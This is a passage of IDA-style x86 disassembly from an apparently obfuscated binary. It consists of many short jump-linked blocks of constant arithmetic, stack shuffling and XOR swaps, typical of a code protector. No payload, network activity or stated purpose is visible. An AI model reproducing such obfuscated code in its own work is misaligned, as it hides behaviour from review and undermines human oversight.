		mov	[esp+8Ch+var_8C], esi
		sub	esp, 4
		mov	[esp+90h+var_90], ebp
		jmp	loc_58EFF3
; ---------------------------------------------------------------------------


loc_599426:				; CODE XREF: sub_57DD3A+16198j
		push	eax
		push	ebx
		mov	ebx, 14277C30h
		or	ebx, 10AE21B9h
		dec	ebx
		add	ebx, 0EB508247h
		mov	eax, ebx
		push	[esp+58h+var_58]
		jmp	loc_5988F4
; ---------------------------------------------------------------------------


loc_599444:				; CODE XREF: sub_57DD3A+1171Fj
		push	3313h
		mov	[esp+4Ch+var_4C], esi
		jmp	loc_590E74
; ---------------------------------------------------------------------------


loc_599451:				; CODE XREF: sub_57DD3A+1B1EEj
		pop	[esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_59E814
; ---------------------------------------------------------------------------


loc_59945A:				; CODE XREF: sub_57DD3A+156DFj
		pop	edx
		push	ecx
		push	ebp
		mov	ebp, 7D3B1A3Ah
		jmp	loc_5A21C5
; ---------------------------------------------------------------------------


loc_599467:				; CODE XREF: sub_57DD3A+12BA4j
		push	ebx
		mov	ebx, 0D0C5C96h
		add	ecx, 5AB36698h
		sub	ecx, ebx
		sub	ecx, 5AB36698h
		pop	ebx
		jmp	loc_590B78
; ---------------------------------------------------------------------------


loc_599481:				; CODE XREF: sub_57DD3A+1C2A3j
		pop	eax
		jmp	loc_5A0516
; ---------------------------------------------------------------------------


loc_599487:				; CODE XREF: sub_57DD3A+1E0CBj
		mov	[esp+32h+var_32], edx
		push	esp
		mov	edx, [esp+36h+var_36]
		jmp	loc_598528
; ---------------------------------------------------------------------------


loc_599493:				; CODE XREF: sub_57DD3A+24D18j
		dec	ebp
		jmp	loc_59D726
; ---------------------------------------------------------------------------


loc_599499:				; CODE XREF: sub_57DD3A+13E6Cj
		pop	ebp
		xor	esi, 1BB171F8h
		sub	esi, 0CAC9F835h
		add	ecx, esi
		pop	esi
		jmp	loc_5A1B3F
; ---------------------------------------------------------------------------


loc_5994AE:				; CODE XREF: sub_57DD3A+222E9j
		xchg	bl, cl
		not	bl
		xchg	bl, cl
		shl	cl, 6
		dec	cl
		jmp	loc_596D76
; ---------------------------------------------------------------------------


loc_5994BE:				; CODE XREF: sub_57DD3A+1EC6Aj
		mov	dl, bh
		pop	ebx
		push	478Eh
		mov	[esp+42h+var_42], ebx
		sub	esp, 4
		mov	[esp+46h+var_46], ecx
		jmp	loc_5997E7
; ---------------------------------------------------------------------------


loc_5994D7:				; CODE XREF: sub_57DD3A+1C09Aj
		sub	ebp, eax
		pop	eax
		jmp	loc_5A1473
; ---------------------------------------------------------------------------


loc_5994DF:				; CODE XREF: sub_57DD3A+13A9Bj
		push	[esp+58h+var_54]
		pop	esi
		pop	[esp+58h+var_58]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_5A128A
; ---------------------------------------------------------------------------


loc_5994F0:				; CODE XREF: sub_57DD3A+121E8j
		add	edi, ecx
		jmp	loc_5991E8
; ---------------------------------------------------------------------------


loc_5994F7:				; CODE XREF: sub_57DD3A+1679Bj
		sub	eax, 56254B41h
		pop	edi
		push	eax
		add	dword ptr [esp], 6AD6357h
		pop	edx
		sub	edx, 6AD6357h
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		or	[edi+1Ch], edx
		mov	edx, [esp+40h+var_42+2]
		sub	esp, 4
		mov	[esp+44h+var_46+2], eax
		mov	eax, esp
		jmp	loc_5A0C83
; ---------------------------------------------------------------------------


loc_59952B:				; CODE XREF: sub_57DD3A+16727j
		xor	esi, 29556077h
		mov	ecx, [esp+0]
		add	esp, 4
		not	esi
		push	edi
		jmp	loc_59D759
; ---------------------------------------------------------------------------


loc_59953F:				; CODE XREF: sub_57DD3A+20419j
		push	esp
		jmp	loc_59E90F
; ---------------------------------------------------------------------------


loc_599545:				; CODE XREF: sub_57DD3A+14060j
		xchg	ebp, [esp+18h+var_1A+2]
		pop	esp
		sub	al, 0D5h
		jmp	loc_5923E2
; ---------------------------------------------------------------------------


loc_599550:				; CODE XREF: sub_57DD3A+2472Ej
		mov	edx, 27ABFFE2h
		jmp	loc_59C992
; ---------------------------------------------------------------------------
		lodsb
		push	5E77h
		mov	[esp+18h+var_1A+2], edx
		mov	dh, 0B4h
		neg	dh
		sub	esp, 4
		jmp	loc_59A4EF
; ---------------------------------------------------------------------------


loc_59956F:				; CODE XREF: sub_57DD3A+1B4C4j
		xor	eax, [esp+0Ch+var_E+2]
		xor	[esp+0Ch+var_E+2], eax
		xor	eax, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		mov	[esp+0Ch+var_E+2], ebx
		jmp	loc_58FBA3
; ---------------------------------------------------------------------------


loc_599583:				; CODE XREF: sub_57DD3A+1AE53j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_593A02
; ---------------------------------------------------------------------------


loc_599590:				; CODE XREF: sub_57DD3A+213DEj
		mov	[esp+3Ch+var_3E+2], edx
		mov	edx, 4B9939EBh
		push	ebp
		mov	ebp, 15A26C7Fh
		or	ebp, 7B364B40h
		jmp	loc_59BAFE
; ---------------------------------------------------------------------------


loc_5995A9:				; CODE XREF: sub_57DD3A+171ACj
		sub	esi, 29802D80h
		add	esi, eax
		jmp	loc_5A2149
; ---------------------------------------------------------------------------


loc_5995B6:				; CODE XREF: sub_57DD3A+1CF91j
		xchg	edx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		push	dword ptr [eax]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5995C3:				; CODE XREF: sub_57DD3A+13EE0j
		push	ebx
		jmp	loc_591D23
; ---------------------------------------------------------------------------


loc_5995C9:				; CODE XREF: sub_57DD3A+20B36j
		movsx	ecx, al
		push	ecx
		mov	ecx, esp
		push	edi
		push	ebp
		jmp	loc_592714
; ---------------------------------------------------------------------------


loc_5995D6:				; CODE XREF: sub_57DD3A+16EF4j
		pop	edx
		push	eax
		mov	eax, 44580A44h
		jmp	loc_590AA8
; ---------------------------------------------------------------------------


loc_5995E2:				; CODE XREF: sub_57DD3A+2108Ej
		xor	ebp, esi
		jmp	loc_5A23DB
; ---------------------------------------------------------------------------


loc_5995E9:				; CODE XREF: sub_57DD3A+1DFDBj
		push	esi
		push	ebp
		mov	ebp, 89812CBh
		neg	ebp
		jmp	loc_593A33
; ---------------------------------------------------------------------------


loc_5995F7:				; CODE XREF: sub_57DD3A+10B23j
		add	al, 42h
		sub	al, 8Fh
		jmp	loc_59158B
; ---------------------------------------------------------------------------


loc_599600:				; CODE XREF: sub_57DD3A+226DCj
		and	edi, 0EF659F6h
		xor	edi, 5DC08EDFh
		jmp	loc_59F8B9
; ---------------------------------------------------------------------------


loc_599611:				; CODE XREF: sub_57DD3A+22CD8j
		sub	ecx, eax
		jmp	loc_59C458
; ---------------------------------------------------------------------------


loc_599618:				; CODE XREF: sub_57DD3A+1A141j
		mov	esi, 53AE73C5h
		add	edx, esi
		pop	esi
		xor	edx, 0ADF3D5F0h
		push	66F3h
		mov	[esp+3Ch+var_3E+2], edx
		push	ebx
		mov	ebx, 76FE5D2Ch
		jmp	loc_594782
; ---------------------------------------------------------------------------


loc_599639:				; CODE XREF: sub_57DD3A+107D7j
		add	eax, ebx
		jmp	loc_597E2B
; ---------------------------------------------------------------------------


loc_599640:				; CODE XREF: sub_57DD3A+12CFBj
		pop	esi
		mov	edx, [esp+0]
		jmp	loc_5A01CB
; ---------------------------------------------------------------------------


loc_599649:				; CODE XREF: sub_57DD3A+13F38j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59964E:				; CODE XREF: sub_57DD3A+1888Aj
		add	eax, 27BE3FD6h
		push	eax
		add	[esp+66h+var_68+2], 0BFD6E74h
		pop	ebx
		push	196Ch
		mov	[esp+66h+var_68+2], ebp
		mov	ebp, 0BFD6E74h
		sub	ebx, ebp
		pop	ebp
		pop	eax
		not	ebx
		inc	ebx
		jmp	loc_59D821
; ---------------------------------------------------------------------------


loc_599675:				; CODE XREF: sub_57DD3A+1D705j
		mov	edx, [esp+5Eh+var_60+2]
		jmp	loc_59F88A
; ---------------------------------------------------------------------------


loc_59967D:				; CODE XREF: sub_57DD3A+23B70j
		sub	ecx, 0E91B612Bh
		mov	edx, ecx
		pop	ecx
		sub	[esp+5Ah+var_58+2], edx
		jmp	loc_59F77B
; ---------------------------------------------------------------------------


loc_59968F:				; CODE XREF: sub_57DD3A+19519j
		shl	edx, 7
		dec	edx
		xor	edx, 0A5B65F3Eh
		jmp	loc_590FC4
; ---------------------------------------------------------------------------


loc_59969E:				; CODE XREF: sub_57DD3A+1C709j
		push	eax
		mov	eax, esp
		jmp	loc_595F6D
; ---------------------------------------------------------------------------
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5996AB:				; CODE XREF: sub_57DD3A+24F5Bj
		add	bl, 0C6h
		push	ecx
		mov	ch, 0Dh
		jmp	loc_5958A4
; ---------------------------------------------------------------------------


loc_5996B6:				; CODE XREF: sub_57DD3A+191E8j
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 455704E6h
		jmp	loc_58ED98
; ---------------------------------------------------------------------------


loc_5996C6:				; CODE XREF: sub_57DD3A+22987j
		sub	esp, 4
		mov	[esp+0Eh+var_E], ecx
		push	ebx
		jmp	loc_59361A
; ---------------------------------------------------------------------------


loc_5996D5:				; CODE XREF: sub_57DD3A+1C4A5j
		mov	[esp+12h+var_12], edi
		push	ebp
		xor	[esp+16h+var_16], 73D84868h
		pop	edi
		xor	edi, 73D84868h
		mov	eax, edi
		pop	edi
		pop	ebp
		add	ecx, eax
		push	dword ptr [esp+0]
		jmp	loc_59FC30
; ---------------------------------------------------------------------------


loc_5996F5:				; CODE XREF: sub_57DD3A+1A26Aj
		mov	[esp+64h+var_64], ecx
		mov	ecx, 20A215CFh
		jmp	loc_59EF80
; ---------------------------------------------------------------------------


loc_599702:				; CODE XREF: sub_57DD3A+19C2Aj
		xor	dl, cl
		push	7D78h
		mov	[esp+78h+var_78], ebx
		jmp	loc_596F41
; ---------------------------------------------------------------------------


loc_599711:				; CODE XREF: sub_57DD3A+1E9C8j
		mov	edx, esi
		jmp	loc_591119
; ---------------------------------------------------------------------------


loc_599718:				; CODE XREF: sub_57DD3A+1CEDAj
		mov	[esp+78h+var_78], edi
		push	3458h
		jmp	near ptr word_5938EE
; ---------------------------------------------------------------------------


loc_599725:				; CODE XREF: sub_57DD3A+1BA4Fj
		inc	edx
		jmp	loc_59E9DC
; ---------------------------------------------------------------------------


loc_59972B:				; CODE XREF: sub_57DD3A+15B86j
		push	ebx
		push	ecx
		mov	ecx, 0C7B5656h
		mov	ebx, 6D8AC48Bh
		jmp	loc_598A34
; ---------------------------------------------------------------------------


loc_59973C:				; CODE XREF: sub_57DD3A+21F1Cj
		shr	ebx, 6
		add	ebx, 33A5FC6Ch
		sub	[esp+74h+var_68], ebx
		jmp	loc_59D623
; ---------------------------------------------------------------------------


loc_59974E:				; CODE XREF: sub_57DD3A+1FD9Dj
		xor	al, bl
		push	[esp+74h+var_74]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	cl, 8Bh
		push	ecx
		mov	cl, 0C1h
		shr	cl, 1
		or	cl, 0AEh
		not	cl
		push	ebx
		mov	bh, 0DFh
		jmp	loc_59FBAD
; ---------------------------------------------------------------------------


loc_59976F:				; CODE XREF: sub_57DD3A+151C7j
		mov	esi, 4BFD1B17h
		or	esi, 15303655h
		push	edx
		mov	edx, 13466EE3h
		shr	edx, 5
		and	edx, 727455B8h
		jmp	loc_599725
; ---------------------------------------------------------------------------


loc_59978E:				; CODE XREF: sub_57DD3A+251A8j
		add	eax, edx
		push	ebx
		mov	ebx, 688123F3h
		add	ebx, 0BBA819C0h
		jmp	loc_59D70B
; ---------------------------------------------------------------------------


loc_5997A1:				; CODE XREF: sub_57DD3A+15B40j
		sub	eax, ebp
		add	eax, 597C635Eh
		push	[esp+54h+var_54]
		pop	ebp
		add	esp, 4
		push	edi
		push	ecx
		push	65253945h
		pop	ecx
		xor	ecx, 51362169h
		jmp	loc_5A24E8
; ---------------------------------------------------------------------------


loc_5997C5:				; CODE XREF: sub_57DD3A+17834j
		mov	ah, bh
		mov	bh, cl
		pop	ecx
		dec	ah
		sub	esp, 2
		mov	word ptr [esp+50h+var_50], cx
		push	edx
		jmp	loc_596D0C
; ---------------------------------------------------------------------------


loc_5997D9:				; CODE XREF: sub_57DD3A+1F73Dj
		push	ebp
		mov	ebp, 2C1C792Ah
		dec	ebp
		not	ebp
		jmp	loc_58E72D
; ---------------------------------------------------------------------------


loc_5997E7:				; CODE XREF: sub_57DD3A+1B798j
		push	ebx
		mov	bl, dl
		jmp	loc_5954B1
; ---------------------------------------------------------------------------


loc_5997EF:				; CODE XREF: sub_57DD3A+24EF0j
		add	esp, 4
		push	ecx
		push	7E58h
		mov	[esp+4Eh+var_50+2], edx
		push	eax
		mov	eax, 34877BEDh
		push	ecx
		mov	ecx, 40DA08B7h
		jmp	loc_598197
; ---------------------------------------------------------------------------


loc_59980C:				; CODE XREF: sub_57DD3A+11E40j
		mov	[esp+3Ah+var_3A], ecx
		mov	ecx, 4
		push	ebp
		mov	ebp, 5B831009h
		sub	edx, ebp
		pop	ebp
		add	edx, ecx
		add	edx, 5B831009h
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		push	esi
		jmp	loc_593835
; ---------------------------------------------------------------------------


loc_599838:				; CODE XREF: sub_57DD3A+217D8j
		sub	edi, 56AD0BC5h
		sub	edi, 0AD910F9h
		pop	eax
		sub	edi, 24213526h
		xor	edi, 6E0C03A3h
		jmp	loc_59CE7F
; ---------------------------------------------------------------------------


loc_599856:				; CODE XREF: sub_57DD3A+23378j
		mov	esi, [esp+36h+var_36]
		jmp	loc_599948
; ---------------------------------------------------------------------------


loc_59985E:				; CODE XREF: sub_57DD3A+16CA2j
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_59FF88
; ---------------------------------------------------------------------------


loc_599870:				; CODE XREF: sub_57DD3A+19CADj
		mov	edx, 24h
		push	edi
		jmp	loc_59FF5B
; ---------------------------------------------------------------------------


loc_59987B:				; CODE XREF: sub_57DD3A+10681j
		push	40000FA4h
		jmp	loc_59D3C0
; ---------------------------------------------------------------------------


loc_599885:				; CODE XREF: sub_57DD3A+23367j
		sub	ecx, 52094D70h
		push	edi
		mov	edi, 2A72061Eh
		add	ecx, edi
		jmp	loc_5993B7
; ---------------------------------------------------------------------------


loc_599898:				; CODE XREF: sub_57DD3A+1F6AFj
		push	edx
		mov	dh, 0Fh
		xor	dh, 8Bh
		sub	al, dh
		pop	edx
		push	[esp+10h+var_12+2]
		pop	edx
		add	esp, 4
		add	al, 0F4h
		sub	al, bl
		sub	al, 0F4h
		sub	al, 52h
		push	small 467Fh
		mov	word ptr [esp+0Eh+var_E], bx
		jmp	loc_59FC6C
; ---------------------------------------------------------------------------


loc_5998C0:				; CODE XREF: sub_57DD3A+12E31j
		push	edx
		push	[esp+64h+var_60]
		mov	edx, [esp+68h+var_68]
		add	esp, 4
		pop	[esp+64h+var_64]
		jmp	loc_59451C
; ---------------------------------------------------------------------------


loc_5998D6:				; CODE XREF: sub_57DD3A+11A16j
		pop	[esp+3Ch+var_3E+2]
		sub	esp, 4
		jmp	loc_59B351
; ---------------------------------------------------------------------------


loc_5998E4:				; CODE XREF: sub_57DD3A+10BEDj
		add	ecx, edx
		jmp	loc_597FD7
; ---------------------------------------------------------------------------


loc_5998EB:				; CODE XREF: sub_57DD3A+1CB92j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_598685
; ---------------------------------------------------------------------------


loc_5998F3:				; CODE XREF: sub_57DD3A+22E2Bj
		pop	edi
		add	ebx, edi
		sub	ebx, 19644502h
		pop	edi
		push	13FDh
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 24C868E3h
		jmp	loc_59F920
; ---------------------------------------------------------------------------


loc_59990F:				; CODE XREF: sub_57DD3A+18274j
		add	esp, 4
		jmp	loc_5953B8
; ---------------------------------------------------------------------------


loc_599917:				; CODE XREF: sub_57DD3A+1A66Bj
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		imul	cx, ax
		jmp	loc_5A0D96
; ---------------------------------------------------------------------------


loc_599926:				; CODE XREF: sub_57DD3A+15330j
		mov	ebx, 5BB3B926h
		sub	ebx, esi
		pop	esi
		jmp	loc_59FFF6
; ---------------------------------------------------------------------------


loc_599933:				; CODE XREF: sub_57DD3A+1479Aj
		push	edi
		jmp	loc_599EF6
; ---------------------------------------------------------------------------


loc_599939:				; CODE XREF: sub_57DD3A+1F424j
		mov	eax, [esp+60h+var_60]
		add	esp, 4
		push	edx
		jmp	loc_5A121E
; ---------------------------------------------------------------------------


loc_599948:				; CODE XREF: sub_57DD3A+1BB1Fj
		push	ebx
		mov	ebx, esp
		jmp	loc_591A19
; ---------------------------------------------------------------------------


loc_599950:				; CODE XREF: sub_57DD3A+234BAj
		add	ebp, eax
		jmp	loc_59BC8B
; ---------------------------------------------------------------------------


loc_599957:				; CODE XREF: sub_57DD3A+186ACj
		sub	edi, 78C6B2FEh
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], esi
		mov	esi, edi
		jmp	loc_593AE9
; ---------------------------------------------------------------------------


loc_59996A:				; CODE XREF: sub_57DD3A+21EE6j
		mov	cx, word ptr [esp+4Ah+var_4C+2]
		add	esp, 2
		add	cl, 4Eh
		add	al, cl
		mov	ecx, [esp+46h+var_46]
		jmp	loc_5A050E
; ---------------------------------------------------------------------------


loc_599981:				; CODE XREF: sub_57DD3A+2042Aj
		mov	eax, esp
		push	ebx
		mov	ebx, 341D1B36h
		push	esi
		mov	esi, 5C970262h
		and	ebx, esi
		jmp	loc_58E465
; ---------------------------------------------------------------------------


loc_599996:				; CODE XREF: sub_57DD3A+1FBBBj
		mov	bh, 7Dh
		sub	bh, 0CBh
		not	bh
		sub	bh, 2
		and	bh, 49h
		shr	bh, 1
		jmp	loc_597B8D
; ---------------------------------------------------------------------------


loc_5999AA:				; CODE XREF: sub_57DD3A+1C3E7j
		pop	ebx
		shl	dh, 3
		or	dh, 0F6h
		push	eax
		mov	ah, 0F9h
		add	ah, 0FFh
		and	ah, 0ACh
		push	ebx
		mov	bl, 0B7h
		add	bl, 0E4h
		xor	ah, bl
		pop	ebx
		push	eax
		jmp	loc_590F71
; ---------------------------------------------------------------------------


loc_5999C9:				; CODE XREF: sub_57DD3A+109AAj
		sub	eax, edi
		jmp	loc_5A0DAC
; ---------------------------------------------------------------------------


loc_5999D0:				; CODE XREF: sub_57DD3A+1CAA8j
		mov	ebx, 58E5117Dh
		jmp	loc_591507
; ---------------------------------------------------------------------------


loc_5999DA:				; CODE XREF: sub_57DD3A+1108Ej
		push	43DE0109h
		jmp	loc_595283
; ---------------------------------------------------------------------------


loc_5999E4:				; CODE XREF: sub_57DD3A+11C47j
		add	edx, 4
		jmp	loc_59BE8D
; ---------------------------------------------------------------------------


loc_5999EF:				; CODE XREF: sub_57DD3A+20EA5j
		add	ebp, ecx
		add	ebp, 41C04956h
		push	edx
		jmp	loc_5926CE
; ---------------------------------------------------------------------------


loc_5999FD:				; CODE XREF: sub_57DD3A+13508j
		mov	esi, 7879A9E7h
		mov	ecx, esi
		jmp	loc_5A1993
; ---------------------------------------------------------------------------


loc_599A09:				; CODE XREF: sub_57DD3A+21B2Dj
		mov	edx, 81C7C5Ah
		xor	edx, 1C8E1401h
		sub	edx, 2FA916A5h
		sub	edx, 6BB263Bh
		dec	edx
		xor	edx, 0D94E296Eh
		xor	ebx, edx
		pop	edx
		add	ebp, ebx
		mov	ebx, [esp+4Ah+var_4C+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		push	edi
		mov	edi, 3A886E2Eh
		jmp	loc_59C1EA
; ---------------------------------------------------------------------------


loc_599A4D:				; CODE XREF: sub_57DD3A+1A990j
		mov	[esp+44h+var_46+2], edx
		push	ebx
		mov	bh, 0BBh
		jmp	loc_59B5F7
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_599A60:				; CODE XREF: sub_57DD3A+14726j
		add	esi, 1775525Eh
		shr	esi, 7
		xor	esi, 49853C6h
		xor	esi, 1D6B62D2h
		push	4FE7h
		mov	[esp+44h+var_46+2], ecx
		mov	ecx, 18DADE80h
		sub	esi, ecx
		push	[esp+44h+var_46+2]
		pop	ecx
		add	esp, 4
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp+40h+var_42+2], ebx
		push	ebp
		mov	ebp, 204029F0h
		jmp	loc_595040
; ---------------------------------------------------------------------------


loc_599A9F:				; CODE XREF: sub_57DD3A+14209j
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_595B43
; ---------------------------------------------------------------------------


loc_599AAA:				; CODE XREF: sub_57DD3A+1850Ej
		push	ecx
		jmp	loc_596AAB
; ---------------------------------------------------------------------------


loc_599AB0:				; CODE XREF: sub_57DD3A+169D0j
		add	esp, 4
		add	esp, 4
		push	21F6h
		jmp	loc_599B23
; ---------------------------------------------------------------------------


loc_599AC3:				; CODE XREF: sub_57DD3A+1D405j
		add	esp, 4
		or	ah, bl
		jmp	loc_59B6C0
; ---------------------------------------------------------------------------


loc_599ACD:				; CODE XREF: sub_57DD3A+19EE6j
		pop	[esp+52h+var_54+2]
		pop	esp
		jmp	loc_59EB9C
; ---------------------------------------------------------------------------


loc_599AD6:				; CODE XREF: sub_57DD3A+1F8F9j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_599ADB:				; CODE XREF: sub_57DD3A+195DEj
		sub	edx, 14192849h
		jmp	loc_59E8A3
; ---------------------------------------------------------------------------


loc_599AE6:				; CODE XREF: sub_57DD3A+180C1j
		push	eax
		mov	ah, 24h
		inc	ah
		not	ah
		sub	ah, 0A0h
		or	ah, 4Eh
		and	ah, 0C2h
		add	ah, 6Ah
		sub	bh, ah
		pop	eax
		sub	bh, 36h
		mov	dx, [esp+0]
		push	eax
		mov	eax, esp
		jmp	$+5
		add	eax, 4
		add	eax, 2
		xor	eax, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], eax
		xor	eax, [esp+4Ch+var_4C]
		jmp	loc_5A1230
; ---------------------------------------------------------------------------


loc_599B23:				; CODE XREF: sub_57DD3A+1BD84j
		mov	[esp+2+var_4+2], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp+2+var_4+2]
		jmp	loc_597F52
; ---------------------------------------------------------------------------


loc_599B4A:				; CODE XREF: sub_57DD3A+1DB70j
		mov	[esp+2+var_4+2], edx
		mov	edx, 4
		push	62B6h
		mov	[esp+6+var_8+2], ebx
		mov	ebx, edx
		mov	edi, ebx
		push	[esp+6+var_8+2]
		pop	ebx
		push	5949h
		jmp	loc_59110F
; ---------------------------------------------------------------------------


loc_599B6C:				; CODE XREF: sub_57DD3A+21FFEj
		add	esp, 4
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		lodsw
		push	edi
		push	eax
		push	ebx
		mov	bx, 33AEh
		mov	ax, 7151h
		xor	ax, bx
		pop	ebx
		and	ax, 60C3h
		xor	ax, 449Ch
		shl	ax, 4
		push	cx
		mov	cx, 525h
		or	ax, cx
		pop	cx
		dec	ax
		jmp	loc_5A307B
; ---------------------------------------------------------------------------


loc_599BA6:				; CODE XREF: sub_57DD3A+20E00j
		pop	ebx
		jmp	loc_599BBE
; ---------------------------------------------------------------------------


loc_599BAC:				; CODE XREF: sub_57DD3A+1A1CFj
		pop	esp
		jmp	loc_591CAB
; ---------------------------------------------------------------------------


loc_599BB2:				; CODE XREF: sub_57DD3A+18E11j
		mov	ecx, 767C0F22h
		push	ebx
		push	esi
		jmp	loc_593C62
; ---------------------------------------------------------------------------


loc_599BBE:				; CODE XREF: sub_57DD3A+1BE6Dj
		shl	ebx, 2
		sub	esp, 4
		mov	[esp+0Eh+var_E], edx
		mov	edx, 74E43F9Ah
		jmp	loc_5A12A7
; ---------------------------------------------------------------------------


loc_599BD1:				; CODE XREF: sub_57DD3A+2415Fj
		xchg	ebx, ebp
		push	eax
		mov	eax, 5303154Ah
		jmp	loc_59A323
; ---------------------------------------------------------------------------


loc_599BDE:				; CODE XREF: sub_57DD3A+20D98j
		sub	ebx, esi
		pop	esi
		dec	ebx
		add	ebx, 0F38BFC6Eh
		or	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 24D404C8h
		or	esi, 4E3A4737h
		shl	esi, 1
		sub	esi, 0B5DA8FE6h
		add	eax, esi
		pop	esi
		mov	edx, eax
		mov	eax, [esp+0]
		jmp	loc_592A74
; ---------------------------------------------------------------------------


loc_599C0C:				; CODE XREF: sub_57DD3A+1270Fj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59A856
; ---------------------------------------------------------------------------


loc_599C19:				; CODE XREF: sub_57DD3A+1A9B3j
		add	eax, esi
		jmp	loc_59A789
; ---------------------------------------------------------------------------


loc_599C20:				; CODE XREF: sub_57DD3A+232F0j
		add	edi, 0EF7FD441h
		or	ecx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	esi
		mov	esi, 89B1E211h
		sub	ecx, esi
		pop	esi
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		push	ebp
		jmp	loc_59E169
; ---------------------------------------------------------------------------


loc_599C42:				; CODE XREF: sub_57DD3A+13C99j
		add	ebp, edx
		push	5CF9h
		jmp	loc_5983D3
; ---------------------------------------------------------------------------


loc_599C4E:				; CODE XREF: sub_57DD3A+1D8CAj
		push	edx
		push	4
		pop	edx
		add	esi, edx
		pop	edx
		push	686Ch
		mov	[esp+12h+var_12], ebx
		push	ecx
		mov	ecx, 3A4406E7h
		jmp	loc_592D7E
; ---------------------------------------------------------------------------


loc_599C6B:				; CODE XREF: sub_57DD3A+150D6j
		mov	ebp, 718A08B2h
		shl	ebp, 4
		sub	ebp, 5DBB2188h
		jmp	loc_599FC5
; ---------------------------------------------------------------------------


loc_599C7E:				; CODE XREF: sub_57DD3A+18CBCj
		pop	eax
		shr	edi, 6
		or	edi, 61286C83h
		sub	edi, 0FFFFFFFFh
		xor	edi, 613CFFDCh
		jmp	loc_58FDC4
; ---------------------------------------------------------------------------


loc_599C99:				; CODE XREF: sub_57DD3A+1D977j
		shl	ebx, 8
		xor	ebx, 0AE032604h
		mov	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+50h+var_50]
		pop	esp
		jmp	loc_59EA6F
; ---------------------------------------------------------------------------


loc_599CB1:				; CODE XREF: sub_57DD3A+15E77j
		sub	ebp, 7D97DD2Dh
		add	eax, ebp
		mov	ebp, [esp+4Ch+var_4C]
		add	esp, 4
		add	ebx, eax
		jmp	loc_594523
; ---------------------------------------------------------------------------


loc_599CC9:				; CODE XREF: sub_57DD3A+235CDj
		pop	eax
		push	edx
		mov	edx, 1D744330h
		add	edi, 1AD1515Dh
		add	edi, edx
		push	edx
		mov	edx, 6BF626B9h
		dec	edx
		sub	edx, 607A1D9Ah
		dec	edx
		dec	edx
		jmp	loc_595DB6
; ---------------------------------------------------------------------------


loc_599CEC:				; CODE XREF: sub_57DD3A+1F517j
		add	esp, 4
		add	bl, 91h
		add	bl, dl
		sub	bl, 91h
		mov	dx, [esp+0]
		add	esp, 2
		jmp	loc_5920C7
; ---------------------------------------------------------------------------


loc_599D06:				; CODE XREF: sub_57DD3A+1CB3Fj
		dec	edi
		push	edi
		jmp	loc_5A25D0
; ---------------------------------------------------------------------------


loc_599D0D:				; CODE XREF: sub_57DD3A+13B44j
		push	eax
		push	esp
		mov	eax, [esp+2Ah+var_2A]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+26h+var_26]
		pop	esp
		sub	esp, 4
		mov	[esp+26h+var_26], ebp
		sub	esp, 4
		mov	[esp+2Ah+var_2A], eax
		jmp	loc_590C33
; ---------------------------------------------------------------------------


loc_599D38:				; CODE XREF: sub_57DD3A+16B35j
		xor	ecx, [esp+42h+var_42]
		pop	esp
		bts	word ptr [esp+3Eh+var_3E], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_599D47:				; CODE XREF: sub_57DD3A+1D5D4j
		push	[esp+42h+var_42]
		pop	edx
		add	esp, 4
		shr	bl, 5
		and	bl, 14h
		jmp	loc_58FCB1
; ---------------------------------------------------------------------------


loc_599D59:				; CODE XREF: sub_57DD3A+18012j
		pop	esp
		sub	edx, 29C03E58h
		sub	edx, eax
		push	esi
		jmp	loc_5900CF
; ---------------------------------------------------------------------------


loc_599D68:				; CODE XREF: sub_57DD3A+21CE8j
		dec	edi
		jmp	loc_5928EC
; ---------------------------------------------------------------------------


loc_599D6E:				; CODE XREF: sub_57DD3A+1D612j
		sub	ecx, 83F7051h
		jmp	loc_597077
; ---------------------------------------------------------------------------


loc_599D79:				; CODE XREF: sub_57DD3A+1DCE6j
		push	ebx
		mov	ebx, 526C7798h
		jmp	loc_595310
; ---------------------------------------------------------------------------


loc_599D84:				; CODE XREF: sub_57DD3A+10B5Ej
		push	ebx
		push	ecx
		jmp	loc_59F528
; ---------------------------------------------------------------------------


loc_599D8B:				; CODE XREF: sub_57DD3A+13FE4j
		mov	edx, 74DC3087h
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		inc	edx
		shr	edx, 4
		xor	edx, 8B23CF3h
